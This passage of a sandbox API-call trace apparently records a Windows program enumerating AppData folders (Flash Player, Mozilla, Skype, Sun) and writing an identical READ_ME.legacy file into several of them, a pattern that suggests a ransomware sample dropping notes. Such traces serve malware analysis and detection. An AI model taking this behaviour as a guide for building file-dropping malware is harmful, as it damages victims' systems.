Flags=0x0, Size=0x4c) returned 0x56d5b0 [0140.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0140.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fc30 [0140.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c398 [0140.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c398 | out: hHeap=0x520000) returned 1 [0140.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0140.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0140.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fc30 | out: hHeap=0x520000) returned 1 [0140.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0140.826] FindNextFileW (in: hFindFile=0x60c158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0140.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.827] GetLastError () returned 0x12 [0140.827] SetLastError (dwErrCode=0x12) [0140.827] GetLastError () returned 0x12 [0140.827] SetLastError (dwErrCode=0x12) [0140.827] GetLastError () returned 0x12 [0140.827] SetLastError (dwErrCode=0x12) [0140.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fc30 [0140.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fc58 [0140.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fc30 | out: hHeap=0x520000) returned 1 [0140.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fc58 | out: hHeap=0x520000) returned 1 [0140.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0140.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ff78 [0140.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0140.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0140.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0140.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x610e50 [0140.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.827] GetLastError () returned 0x12 [0140.827] SetLastError (dwErrCode=0x12) [0140.828] GetLastError () returned 0x12 [0140.828] SetLastError (dwErrCode=0x12) [0140.828] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0140.828] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610e50 | out: hHeap=0x520000) returned 1 [0140.828] GetLastError () returned 0x12 [0140.828] SetLastError (dwErrCode=0x12) [0140.828] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6a40 [0140.828] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x76c [0140.830] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6a40 | out: hHeap=0x520000) returned 1 [0140.830] WriteFile (in: hFile=0x76c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.832] CloseHandle (hObject=0x76c) returned 1 [0140.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0140.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0140.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0140.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0140.832] FindNextFileW (in: hFindFile=0x60c158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6cc3b55, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6cc3b55, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6cc3b55, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.832] GetLastError () returned 0x0 [0140.832] SetLastError (dwErrCode=0x0) [0140.832] GetLastError () returned 0x0 [0140.832] SetLastError (dwErrCode=0x0) [0140.832] GetLastError () returned 0x0 [0140.832] SetLastError (dwErrCode=0x0) [0140.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fc30 [0140.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fc30 | out: hHeap=0x520000) returned 1 [0140.832] FindNextFileW (in: hFindFile=0x60c158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6cc3b55, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6cc3b55, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6cc3b55, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0140.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585be0 | out: hHeap=0x520000) returned 1 [0140.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56def8 | out: hHeap=0x520000) returned 1 [0140.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0140.833] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd6cc3b55, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c398 [0140.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.833] GetLastError () returned 0x12 [0140.833] SetLastError (dwErrCode=0x12) [0140.833] GetLastError () returned 0x12 [0140.833] SetLastError (dwErrCode=0x12) [0140.833] GetLastError () returned 0x12 [0140.833] SetLastError (dwErrCode=0x12) [0140.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dce8 [0140.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dce8 | out: hHeap=0x520000) returned 1 [0140.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ffa0 [0140.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60bc58 [0140.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bc58 | out: hHeap=0x520000) returned 1 [0140.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201e0 [0140.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201e0 | out: hHeap=0x520000) returned 1 [0140.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ffa0 | out: hHeap=0x520000) returned 1 [0140.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.834] FindNextFileW (in: hFindFile=0x60c398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd6cc3b55, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.834] GetLastError () returned 0x12 [0140.834] SetLastError (dwErrCode=0x12) [0140.834] GetLastError () returned 0x12 [0140.834] SetLastError (dwErrCode=0x12) [0140.834] GetLastError () returned 0x12 [0140.834] SetLastError (dwErrCode=0x12) [0140.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0140.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56de48 [0140.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56de48 | out: hHeap=0x520000) returned 1 [0140.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fc30 [0140.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60bc58 [0140.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bc58 | out: hHeap=0x520000) returned 1 [0140.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0140.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0140.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fc30 | out: hHeap=0x520000) returned 1 [0140.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0140.835] FindNextFileW (in: hFindFile=0x60c398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0140.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.835] GetLastError () returned 0x12 [0140.835] SetLastError (dwErrCode=0x12) [0140.835] GetLastError () returned 0x12 [0140.835] SetLastError (dwErrCode=0x12) [0140.835] GetLastError () returned 0x12 [0140.835] SetLastError (dwErrCode=0x12) [0140.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ffa0 [0140.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fc30 [0140.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ffa0 | out: hHeap=0x520000) returned 1 [0140.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fc30 | out: hHeap=0x520000) returned 1 [0140.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0140.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fc30 [0140.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0140.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0140.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0140.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x610a10 [0140.836] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.836] GetLastError () returned 0x12 [0140.836] SetLastError (dwErrCode=0x12) [0140.836] GetLastError () returned 0x12 [0140.836] SetLastError (dwErrCode=0x12) [0140.836] GetLastError () returned 0x12 [0140.836] SetLastError (dwErrCode=0x12) [0140.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611180 [0140.836] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\extensions\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x770 [0140.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611180 | out: hHeap=0x520000) returned 1 [0140.837] WriteFile (in: hFile=0x770, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.837] CloseHandle (hObject=0x770) returned 1 [0140.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610a10 | out: hHeap=0x520000) returned 1 [0140.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0140.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0140.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0140.838] FindNextFileW (in: hFindFile=0x60c398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Firefox", cAlternateFileName="")) returned 1 [0140.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.838] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.838] GetLastError () returned 0x0 [0140.838] SetLastError (dwErrCode=0x0) [0140.838] GetLastError () returned 0x0 [0140.838] SetLastError (dwErrCode=0x0) [0140.838] GetLastError () returned 0x0 [0140.838] SetLastError (dwErrCode=0x0) [0140.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0140.838] GetLastError () returned 0x0 [0140.838] SetLastError (dwErrCode=0x0) [0140.838] GetLastError () returned 0x0 [0140.838] SetLastError (dwErrCode=0x0) [0140.838] GetLastError () returned 0x0 [0140.838] SetLastError (dwErrCode=0x0) [0140.838] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x770 [0140.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6117e0 | out: hHeap=0x520000) returned 1 [0140.841] WriteFile (in: hFile=0x770, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.842] CloseHandle (hObject=0x770) returned 1 [0140.842] FindNextFileW (in: hFindFile=0x60c398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6cc3b55, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6cc3b55, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6cc3b55, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.842] SetLastError (dwErrCode=0x0) [0140.842] GetLastError () returned 0x0 [0140.842] SetLastError (dwErrCode=0x0) [0140.842] GetLastError () returned 0x0 [0140.842] SetLastError (dwErrCode=0x0) [0140.842] FindNextFileW (in: hFindFile=0x60c398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6cc3b55, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6cc3b55, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6cc3b55, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.842] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6ce9dde, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bc58 [0140.842] SetLastError (dwErrCode=0x12) [0140.842] GetLastError () returned 0x12 [0140.842] SetLastError (dwErrCode=0x12) [0140.842] GetLastError () returned 0x12 [0140.842] SetLastError (dwErrCode=0x12) [0140.842] FindNextFileW (in: hFindFile=0x60bc58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6ce9dde, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.843] SetLastError (dwErrCode=0x12) [0140.843] GetLastError () returned 0x12 [0140.843] SetLastError (dwErrCode=0x12) [0140.843] GetLastError () returned 0x12 [0140.843] SetLastError (dwErrCode=0x12) [0140.843] FindNextFileW (in: hFindFile=0x60bc58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6ce9dde, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6ce9dde, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6ce9dde, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.843] SetLastError (dwErrCode=0x12) [0140.843] GetLastError () returned 0x12 [0140.843] SetLastError (dwErrCode=0x12) [0140.843] GetLastError () returned 0x12 [0140.843] SetLastError (dwErrCode=0x12) [0140.843] FindNextFileW (in: hFindFile=0x60bc58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RootTools", cAlternateFileName="ROOTTO~1")) returned 1 [0140.843] SetLastError (dwErrCode=0x12) [0140.843] GetLastError () returned 0x12 [0140.843] SetLastError (dwErrCode=0x12) [0140.843] GetLastError () returned 0x12 [0140.843] SetLastError (dwErrCode=0x12) [0140.843] SetLastError (dwErrCode=0x12) [0140.843] GetLastError () returned 0x12 [0140.843] SetLastError (dwErrCode=0x12) [0140.843] GetLastError () returned 0x12 [0140.843] SetLastError (dwErrCode=0x12) [0140.844] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\skype\\roottools\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x774 [0140.844] WriteFile (in: hFile=0x774, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.845] CloseHandle (hObject=0x774) returned 1 [0140.845] FindNextFileW (in: hFindFile=0x60bc58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RootTools", cAlternateFileName="ROOTTO~1")) returned 0 [0140.846] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd6ce9dde, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c7d8 [0140.846] SetLastError (dwErrCode=0x12) [0140.846] GetLastError () returned 0x12 [0140.846] SetLastError (dwErrCode=0x12) [0140.846] GetLastError () returned 0x12 [0140.846] SetLastError (dwErrCode=0x12) [0140.846] FindNextFileW (in: hFindFile=0x60c7d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd6ce9dde, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.846] SetLastError (dwErrCode=0x12) [0140.846] GetLastError () returned 0x12 [0140.846] SetLastError (dwErrCode=0x12) [0140.846] GetLastError () returned 0x12 [0140.846] SetLastError (dwErrCode=0x12) [0140.846] FindNextFileW (in: hFindFile=0x60c7d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Java", cAlternateFileName="")) returned 1 [0140.846] SetLastError (dwErrCode=0x12) [0140.846] GetLastError () 